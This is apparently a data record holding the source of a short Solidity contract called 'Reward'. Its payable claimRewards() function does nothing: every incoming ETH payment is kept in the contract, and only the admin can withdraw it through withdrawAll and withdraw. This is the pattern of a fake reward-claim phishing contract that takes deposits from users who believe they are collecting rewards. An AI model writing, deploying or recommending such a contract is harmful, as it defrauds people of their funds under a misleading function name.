creation_sourcecode: // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.0;
  contract Reward {
      
      address admin;
      modifier onlyAdmin() {
          require(msg.sender == admin, "You aren't admin");
          _;
      }
      
      constructor() {
          admin = msg.sender;
      }
      function claimRewards() public payable {
      }
  
      fallback() payable external {
      }
  
      receive() payable external {
      }
      function owner() public view returns (address){
          return admin;
      }
      function changeOwner(address newOwner) public onlyAdmin{
          admin = newOwner;
      }
      //withdrawEth
      function withdrawAll(address payable to) public onlyAdmin{
          require(address(this).balance>0,"balance is zero");
          to.transfer(address(this).balance);
      }
  
      function withdraw(address payable to, uint256 value) public onlyAdmin() {
          require(address(this).balance>0,"balance is zero");
          to.transfer(value);
      }
  }